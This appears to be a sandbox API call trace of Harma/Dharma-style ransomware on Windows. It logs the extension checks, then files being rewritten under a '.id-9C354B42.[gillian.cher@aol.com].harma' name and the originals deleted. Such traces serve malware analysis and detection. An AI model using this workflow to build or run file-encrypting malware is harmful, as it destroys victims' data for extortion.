1 [0055.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.053] lstrlenW (lpString=".doc") returned 4 [0055.053] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0055.054] lstrlenW (lpString=".docx") returned 5 [0055.054] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0055.054] lstrlenW (lpString=".pdf") returned 4 [0055.054] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0055.054] lstrlenW (lpString=".xls") returned 4 [0055.054] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0055.054] lstrlenW (lpString=".xlsx") returned 5 [0055.054] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0055.054] lstrlenW (lpString=".ppt") returned 4 [0055.054] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0055.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.054] lstrlenW (lpString=".zip") returned 4 [0055.054] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0055.054] lstrlenW (lpString=".rar") returned 4 [0055.054] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0055.054] lstrlenW (lpString=".bz2") returned 4 [0055.054] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0055.054] lstrlenW (lpString=".7z") returned 3 [0055.054] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0055.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.054] lstrlenW (lpString=".dbf") returned 4 [0055.054] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0055.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.054] lstrlenW (lpString=".1cd") returned 4 [0055.054] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0055.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0055.054] lstrlenW (lpString=".jpg") returned 4 [0055.054] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0055.055] lstrcmpiW (lpString1=".emf", lpString2=".harma") returned -1 [0055.055] lstrlenW (lpString="Genko_2.emf") returned 11 [0055.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.699] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=10340) returned 1 [0056.699] CloseHandle (hObject=0x214) returned 1 [0056.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0056.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.700] lstrlenW (lpString=".doc") returned 4 [0056.700] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0056.700] lstrlenW (lpString=".docx") returned 5 [0056.700] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0056.700] lstrlenW (lpString=".pdf") returned 4 [0056.700] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0056.700] lstrlenW (lpString=".xls") returned 4 [0056.700] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0056.700] lstrlenW (lpString=".xlsx") returned 5 [0056.700] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0056.700] lstrlenW (lpString=".ppt") returned 4 [0056.700] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0056.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.700] lstrlenW (lpString=".zip") returned 4 [0056.700] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0056.701] lstrlenW (lpString=".rar") returned 4 [0056.701] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0056.701] lstrlenW (lpString=".bz2") returned 4 [0056.701] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0056.701] lstrlenW (lpString=".7z") returned 3 [0056.701] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.701] lstrlenW (lpString=".dbf") returned 4 [0056.701] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.701] lstrlenW (lpString=".1cd") returned 4 [0056.701] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.701] lstrlenW (lpString=".jpg") returned 4 [0056.701] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.702] lstrlenW (lpString=".doc") returned 4 [0056.702] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0056.702] lstrlenW (lpString=".docx") returned 5 [0056.702] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0056.702] lstrlenW (lpString=".pdf") returned 4 [0056.702] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0056.702] lstrlenW (lpString=".xls") returned 4 [0056.702] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0056.702] lstrlenW (lpString=".xlsx") returned 5 [0056.702] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0056.702] lstrlenW (lpString=".ppt") returned 4 [0056.702] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.702] lstrlenW (lpString=".zip") returned 4 [0056.702] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0056.702] lstrlenW (lpString=".rar") returned 4 [0056.702] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0056.702] lstrlenW (lpString=".bz2") returned 4 [0056.702] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0056.702] lstrlenW (lpString=".7z") returned 3 [0056.702] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.703] lstrlenW (lpString=".dbf") returned 4 [0056.703] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0056.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.703] lstrlenW (lpString=".1cd") returned 4 [0056.703] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0056.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0056.703] lstrlenW (lpString=".jpg") returned 4 [0056.703] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0056.703] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0056.703] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0056.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.533] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=2985) returned 1 [0057.533] CloseHandle (hObject=0x1d0) returned 1 [0057.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0057.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.533] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.534] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.536] GetLastError () returned 0x0 [0057.536] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xba9, lpOverlapped=0x0) returned 1 [0057.538] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0057.540] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.540] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.540] SetEndOfFile (hFile=0x1ec) returned 1 [0057.540] CloseHandle (hObject=0x1ec) returned 1 [0057.540] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.540] SetEndOfFile (hFile=0x1d0) returned 1 [0057.541] CloseHandle (hObject=0x1d0) returned 1 [0057.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.541] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.542] lstrlenW (lpString=".doc") returned 4 [0057.542] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.542] lstrlenW (lpString=".docx") returned 5 [0057.542] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.542] lstrlenW (lpString=".pdf") returned 4 [0057.542] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.542] lstrlenW (lpString=".xls") returned 4 [0057.542] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.542] lstrlenW (lpString=".xlsx") returned 5 [0057.542] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.542] lstrlenW (lpString=".ppt") returned 4 [0057.542] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.542] lstrlenW (lpString=".zip") returned 4 [0057.542] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.542] lstrlenW (lpString=".rar") returned 4 [0057.542] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.542] lstrlenW (lpString=".bz2") returned 4 [0057.542] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.542] lstrlenW (lpString=".7z") returned 3 [0057.542] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.542] lstrlenW (lpString=".dbf") returned 4 [0057.542] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.542] lstrlenW (lpString=".1cd") returned 4 [0057.543] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.543] lstrlenW (lpString=".jpg") returned 4 [0057.543] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.543] lstrlenW (lpString=".doc") returned 4 [0057.543] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.543] lstrlenW (lpString=".docx") returned 5 [0057.543] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.543] lstrlenW (lpString=".pdf") returned 4 [0057.543] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.543] lstrlenW (lpString=".xls") returned 4 [0057.543] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.543] lstrlenW (lpString=".xlsx") returned 5 [0057.543] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.543] lstrlenW (lpString=".ppt") returned 4 [0057.543] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.543] lstrlenW (lpString=".zip") returned 4 [0057.543] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.543] lstrlenW (lpString=".rar") returned 4 [0057.543] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.543] lstrlenW (lpString=".bz2") returned 4 [0057.543] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.543] lstrlenW (lpString=".7z") returned 3 [0057.543] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.543] lstrlenW (lpString=".dbf") returned 4 [0057.544] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.544] lstrlenW (lpString=".1cd") returned 4 [0057.544] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0057.544] lstrlenW (lpString=".jpg") returned 4 [0057.544] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.544] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.544] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.545] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=43276) returned 1 [0057.545] CloseHandle (hObject=0x1d0) returned 1 [0057.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0057.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.546] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.546] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.546] GetLastError () returned 0x0 [0057.546] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0057.548] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0057.550] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.550] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.550] SetEndOfFile (hFile=0x1ec) returned 1 [0057.550] CloseHandle (hObject=0x1ec) returned 1 [0057.550] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.550] SetEndOfFile (hFile=0x1d0) returned 1 [0057.551] CloseHandle (hObject=0x1d0) returned 1 [0057.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.551] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0057.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.552] lstrlenW (lpString=".doc") returned 4 [0057.552] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.552] lstrlenW (lpString=".docx") returned 5 [0057.552] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.552] lstrlenW (lpString=".pdf") returned 4 [0057.552] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.552] lstrlenW (lpString=".xls") returned 4 [0057.552] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.552] lstrlenW (lpString=".xlsx") returned 5 [0057.552] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.552] lstrlenW (lpString=".ppt") returned 4 [0057.552] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.552] lstrlenW (lpString=".zip") returned 4 [0057.552] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.552] lstrlenW (lpString=".rar") returned 4 [0057.552] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.552] lstrlenW (lpString=".bz2") returned 4 [0057.552] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.552] lstrlenW (lpString=".7z") returned 3 [0057.552] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.552] lstrlenW (lpString=".dbf") returned 4 [0057.552] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.553] lstrlenW (lpString=".1cd") returned 4 [0057.553] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.553] lstrlenW (lpString=".jpg") returned 4 [0057.553] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.553] lstrlenW (lpString=".doc") returned 4 [0057.553] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.553] lstrlenW (lpString=".docx") returned 5 [0057.553] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.553] lstrlenW (lpString=".pdf") returned 4 [0057.553] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.553] lstrlenW (lpString=".xls") returned 4 [0057.553] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.553] lstrlenW (lpString=".xlsx") returned 5 [0057.553] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.553] lstrlenW (lpString=".ppt") returned 4 [0057.553] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.553] lstrlenW (lpString=".zip") returned 4 [0057.553] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.553] lstrlenW (lpString=".rar") returned 4 [0057.553] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.553] lstrlenW (lpString=".bz2") returned 4 [0057.553] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.553] lstrlenW (lpString=".7z") returned 3 [0057.553] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.554] lstrlenW (lpString=".dbf") returned 4 [0057.554] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.554] lstrlenW (lpString=".1cd") returned 4 [0057.554] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0057.554] lstrlenW (lpString=".jpg") returned 4 [0057.554] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.554] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.554] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.554] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=945) returned 1 [0057.554] CloseHandle (hObject=0x1d0) returned 1 